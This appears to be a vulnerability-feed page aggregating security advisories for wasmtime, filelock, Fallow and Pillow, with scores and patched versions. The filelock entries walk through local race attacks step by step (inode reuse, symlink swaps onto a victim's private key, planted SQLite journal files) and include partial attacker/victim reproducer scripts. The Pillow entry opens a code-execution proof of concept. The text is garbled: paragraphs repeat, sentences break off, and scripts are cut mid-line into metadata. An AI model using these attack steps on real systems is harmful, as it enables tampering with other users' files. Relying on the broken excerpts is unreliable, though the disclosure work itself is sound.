Wasm module. ## Patches Wasmtime v36.0.19 has been released which fixes this issue. Affected package ranges reported by GitHub: wasmtime: < 36.0.19 wasmtime: >= 37.0.0, < 43.0.0 Action: GitHub lists first patched versions: wasmtime: 36.0.19; wasmtime: 43.0.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse https://kevwire.com/record/CVE-2026-112906 filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse (Oct 23, 2026). `SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at ` `, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock. CVSS 4.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-2g95-wg33-c5x2). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112906&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-2g95-wg33-c5x2: https://github.com/advisories/GHSA-2g95-wg33-c5x2 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112906&date=2026-10-25 `SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at ` `, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock. Two of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and /stat`, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. `_try_break_stale_lock` reads the marker, finds no holder, and calls `break_lock_file(lock_file, mtime, ino)` only if `_marker_unchanged_for(mtime, ino)` reaches `MALFORMED_LOCK_AGE_THRESHOLD` (2.0 s). That function keeps `self._marker_seen = ((mtime, ino), first seen)` across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats. Neither half of the pair belongs to one file. A file's owner sets its mtime to any value with `utime`, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory. 1. While the lock is free, the other user creates an empty file at the lock path (inode `I`) and sets its mtime to `T`, a tick of the coarse clock about 2.2 s in the future. 2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records `_marker_seen = ((T, I), first seen)`. After 2 s each poll calls `break_lock_file`, whose `rename` fails with `EPERM` (operation not permitted; seen with `strace`): the directory is sticky and the file belongs to the other user. `suppress(OSError, ...)` swallows the error, the file stays, and nothing resets `_marker_seen`. 3. When the coarse clock reaches `T`, the other user unlinks its file. Inode `I` is free. 4. Process F of the lock user polls during tick `T`. Its `O_EXCL` create succeeds, and its marker is inode `I` with mtime `T`. 5. Process S polls before F has written its record. It reads an empty file with pair `(T, I)`, `_marker_unchanged_for` returns the 2.2 s that S spent watching the other user's file, and S calls `break_lock_file(lock_file, T, I)`. 6. `break_lock_file` compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed. 7. F writes its record into the unlinked inode and returns from `acquire()`. The path is empty, so the next contender to poll creates a marker and returns from `acquire()` too. F's release finds another inode at the path (`_unlink_open_marker`) and leaves it. Neither holder learns anything. Step 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick `T`, and a waiter broke 7 of those 13. `MarkerSoftFileLock` and `SoftFileLease` hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: `if owner.mode == "lease" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...)`. `_marker_seen` is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair `(T, I)` has gone unrefreshed for `lease_duration`, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using `SoftFileLease(path, lease_duration=2)` and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's `on_compromise` (the callback that tells a holder it lost the lock) reported `owner-changed` 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all. ## Reproduction The scanner's reproducer for finding `ANT-2026-RKC48J5B`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`. **`repro`** ```python #!/usr/bin/env python3 import os import shutil import subprocess import sys import time LOCK_DIR = "/tmp/locks" LOCK_PATH = "/tmp/locks/app.lock" HOLDS_LOG = "/tmp/holds.log" def start_victims(): # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it shutil.rmtree(LOCK_DIR, ignore_errors=True) os.mkdir(LOCK_DIR) os.chmod(LOCK_DIR, 0o1777) victim = [sys.executable, "/tmp/repro.d/victim.py", LOCK_PATH] with open(HOLDS_LOG, "w") as holds_log: return [ subprocess.Popen(victim, stdout=holds_log, user="victim", group="victim", extra_groups=[]) for _ in Affected package ranges reported by GitHub: filelock: >= 4.1.0, <= 4.2.0 Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory https://kevwire.com/record/CVE-2026-112914 filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory (Oct 23, 2026). When a soft-lock stale break finds that the marker (the lock file at ` `) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls. The `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and . `. In a directory without the sticky bit the lock user may rename a file it does not own. 2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file. 3. The other user renames a symbolic link to the lock user's private file over the break name. 4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link. CVSS 5.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-crv4-6mhj-j5jh). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112914&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-crv4-6mhj-j5jh: https://github.com/advisories/GHSA-crv4-6mhj-j5jh GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112914&date=2026-10-25 When a soft-lock stale break finds that the marker (the lock file at ` `) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls. The `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and . `. In a directory without the sticky bit the lock user may rename a file it does not own. 2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file. 3. The other user renames a symbolic link to the lock user's private file over the break name. 4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link. The other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd "marker" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll. ## Reproduction The scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`. **`repro`** ```python #!/usr/bin/env python3 import os import shutil import subprocess import sys sys.stdout.reconfigure(line_buffering=True) SHARED_DIR = "/tmp/shared-locks" LOCK_PATH = SHARED_DIR + "/app.lock" PRIVATE_DIR = "/home/victim/private" KEY_PATH = PRIVATE_DIR + "/signing.key" AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": []} AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": []} # strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before # linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117). SLOWED_DOWN = ["strace", "-o", "/dev/null", "-P", LOCK_PATH, "-e", "trace=rename,linkat"] SLOWED_DOWN += ["-e", "inject=rename:delay_exit=2000000", "-e", "inject=linkat:delay_enter=2000000"] # set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit shutil.rmtree(PRIVATE_DIR, ignore_errors=True) os.mkdir(PRIVATE_DIR, 0o700) with open(KEY_PATH, "w") as key_file: key_file.write("0123456789abcdef\n") os.chmod(KEY_PATH, 0o600) shutil.chown(PRIVATE_DIR, "victim", "victim") shutil.chown(KEY_PATH, "victim", "victim") shutil.rmtree(SHARED_DIR, ignore_errors=True) os.mkdir(SHARED_DIR) os.chmod(SHARED_DIR, 0o777) key_before = os.stat(KEY_PATH) print(f"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}") for knob in ("protected_hardlinks", "protected_symlinks"): print(f"fs.{knob} =", open(f"/proc/sys/fs/{knob}").read().strip()) # control: the attacker cannot give the key a name in the shared directory by itself link_by_attacker = f"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})" control = subprocess.run([sys.executable, "-c", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER) print("CONTROL the attacker's own link() of the key:", control.stderr.strip().splitlines()[-1]) # attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name subprocess.run([sys.executable, "/tmp/repro.d/plant_stale_marker.py", LOCK_PATH], check=True, **AS_ATTACKER) attacker = subprocess.Popen([sys.executable, "/tmp/repro.d/swap_break_name.py", LOCK_PATH, KEY_PATH], **AS_ATTACKER) victim_job = [*SLOWED_DOWN, sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH] subprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM) assert attacker.wait(timeout=30) == 0, "the attacker did not get through its steps" # check, as root: does the key now have a name in the shared directory? key_after = os.stat(KEY_PATH) names_of_the_key = [ name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f"{SHARED_DIR}/{name}")) ] print(f"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}") if names_of_the_key: # w Affected package ranges reported by GitHub: filelock: >= 4.1.0, <= 4.2.0 Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files https://kevwire.com/record/CVE-2026-112940 filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files (Oct 23, 2026). `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/ `, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL. Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4). CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-v4x8-3wr5-3wq8). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112940&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-v4x8-3wr5-3wq8: https://github.com/advisories/GHSA-v4x8-3wr5-3wq8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-112940: https://nvd.nist.gov/vuln/detail/CVE-2026-112940 Vendor advisory (via NVD references): https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112940&date=2026-10-25 `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/ `, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL. Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4). Anthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges. Classification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition. ## Scope and preconditions - The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`. - Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty ` -wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`. - Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory. - Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that. ## Affected code At the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/ ` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), "Descri Affected package ranges reported by GitHub: filelock: >= 3.20.4, <= 4.2.0 Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Fallow: A `.*` glob segment let an analyzed repository make Fallow test paths in the parent of the project root https://kevwire.com/record/GHSA-h4fr-cmh5-qr62 Fallow: A `.*` glob segment let an analyzed repository make Fallow test paths in the parent of the project root (Oct 23, 2026). Fallow expands some globs from the analyzed repository on disk. Before 3.34.0, a segment such as `.*`, `.?` or `..*` in such a glob also matched the special `..` entry. The `glob` crate tests `..` against a segment that starts with a literal `.`. Fallow validates plugin glob patterns and refuses absolute paths and `..` segments, but these segments passed that validation. The attacker controls the repository content. The attacker must also be able to read the Fallow output, for example a CI log or a pull request comment. Then the attacker can learn if a file or directory exists in the parent of the project root: CVSS 3.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-h4fr-cmh5-qr62). Sources: GitHub-reviewed advisory GHSA-h4fr-cmh5-qr62: https://github.com/advisories/GHSA-h4fr-cmh5-qr62 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Impact Fallow expands some globs from the analyzed repository on disk. Before 3.34.0, a segment such as `.*`, `.?` or `..*` in such a glob also matched the special `..` entry. The `glob` crate tests `..` against a segment that starts with a literal `.`. Fallow validates plugin glob patterns and refuses absolute paths and `..` segments, but these segments passed that validation. The attacker controls the repository content. The attacker must also be able to read the Fallow output, for example a CI log or a pull request comment. Then the attacker can learn if a file or directory exists in the parent of the project root: - A plugin `fileExists` detection pattern such as `.*/marker.json` made the plugin active when `marker.json` existed in the parent directory. - An external plugin `configPatterns` or `alwaysUsed` pattern could match a config file in the parent directory. When the plugin was active and declared `toolingDependencies`, the tooling detection credited the related dev dependency. An unused dependency finding could then disappear, and `--trace-dependency` printed the outside path. - `fallow plugin-check` reported `path_exists: true` for a seeded entry that matched only in the parent directory. Fallow tested only that these paths exist. It did not read or print the content of a file outside the project root through these globs. The Jest, Vitest and Rstest project globs had the same `.*` problem, and the Jest and Vitest ones also read file content. GHSA-jfwm-3p3c-6hx5 describes that case. ### Patches Fixed in 3.34.0. Fallow now rewrites a leading `.` in a wildcard segment to `[.]` before it expands the glob on disk. `[.]` matches the same hidden files and directories inside the project root. The `glob` crate does not test `..` against it. ### Workarounds Run Fallow only on repositories that you trust. Before you run Fallow on another repository, check the `detection`, `configPatterns` and `alwaysUsed` patterns of its plugin files. Affected package ranges reported by GitHub: fallow: < 3.34.0 @fallow-cli/fallow-node: < 3.34.0 fallow-cli: < 3.34.0 fallow-config: < 3.34.0 fallow-core: < 3.34.0 Action: GitHub lists first patched versions: fallow: 3.34.0; @fallow-cli/fallow-node: 3.34.0; fallow-cli: 3.34.0; fallow-config: 3.34.0; fallow-core: 3.34.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Fallow: Jest and Vitest `projects` entries let an analyzed repository make Fallow read files outside the project root https://kevwire.com/record/CVE-2026-115569 Fallow: Jest and Vitest `projects` entries let an analyzed repository make Fallow read files outside the project root (Oct 23, 2026). Fallow reads the Jest and Vitest configs of the repository that it analyzes. A Jest `projects` entry or a Vitest `test.projects` entry can name a path. Fallow followed such an entry to a config file and read that file, also when the file was outside the project root. These forms reached outside the root: - an absolute path or glob, for example `/etc/*`; - a path with `..` segments, for example `../*`; - a glob with a `.*` segment, because the `glob` crate also tests `..` against a segment that starts with a literal `.`; - a symlink in the project root to a directory above it; - the `extends` path of a Vitest inline project; - a script `--config` path that is a symlink to a file outside the project root. CVSS 3.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-jfwm-3p3c-6hx5). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115569&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-jfwm-3p3c-6hx5: https://github.com/advisories/GHSA-jfwm-3p3c-6hx5 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115569&date=2026-10-25 ### Impact Fallow reads the Jest and Vitest configs of the repository that it analyzes. A Jest `projects` entry or a Vitest `test.projects` entry can name a path. Fallow followed such an entry to a config file and read that file, also when the file was outside the project root. These forms reached outside the root: - an absolute path or glob, for example `/etc/*`; - a path with `..` segments, for example `../*`; - a glob with a `.*` segment, because the `glob` crate also tests `..` against a segment that starts with a literal `.`; - a symlink in the project root to a directory above it; - the `extends` path of a Vitest inline project; - a script `--config` path that is a symlink to a file outside the project root. Fallow parsed each of these files as a test runner config. Fallow used the content only to credit dependencies, setup files and JSX import sources. Thus unused dependency and unused file findings could change. Fallow did not print the content or send it over the network. The Fallow threat model states that analysis reads only inside the project root. A crafted repository could make Fallow read files that the user did not expect. Such a read can happen in CI, or when an agent runs Fallow on a cloned repository. The attacker gets changed findings, not the file content. Versions 2.68.0 to 3.33.1 read outside files through Jest `projects`. Version 3.33.1 also read them through Vitest `test.projects`. ### Patches Fixed in 3.34.0. Fallow now resolves each match with symlinks and `..` segments removed. Fallow reads the match only when it is inside the project root. A glob whose literal base is outside the project root does not run. The boundary is the project root, so an in-root entry such as ` /../packages/*` still works, also from the config of a workspace package. Fallow also does not read a script `--config` path that is a symlink to a file outside the project root. ### Workarounds Run Fallow only on repositories that you trust. Before you run Fallow on another repository, check the `projects` entries of its `jest.config.*` and `vitest.config.*` files. Affected package ranges reported by GitHub: fallow: >= 2.68.0, < 3.34.0 @fallow-cli/fallow-node: >= 2.68.0, < 3.34.0 fallow-cli: >= 2.68.0, < 3.34.0 fallow-core: >= 2.68.0, < 3.34.0 Action: GitHub lists first patched versions: fallow: 3.34.0; @fallow-cli/fallow-node: 3.34.0; fallow-cli: 3.34.0; fallow-core: 3.34.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution https://kevwire.com/record/CVE-2026-112398 Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution (Oct 23, 2026). **Researcher**: Alex Bouffard (mixbo@pebwalker.com) A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39). CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-5x8w-8jj5-q52h). EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112398&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-5x8w-8jj5-q52h: https://github.com/advisories/GHSA-5x8w-8jj5-q52h GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-112398: https://nvd.nist.gov/vuln/detail/CVE-2026-112398 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112398&date=2026-10-25 ### Credits **Researcher**: Alex Bouffard (mixbo@pebwalker.com) ### Summary A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39). ### Details `FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents. `Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension. For a JPEG-compressed subimage (`compression == 2`), the plugin builds a `"jpeg"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)): ```python MODES = { ... (0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel) ... (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P" } ``` The Imaging output buffer for the tile is sized for the rawmode (here `"LA"` = 2 bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)): ```c state->bytes = (state->bits * state->xsize + 7) / 8; // "LA" gives 2 * xsize bytes/row ... state->buffer = 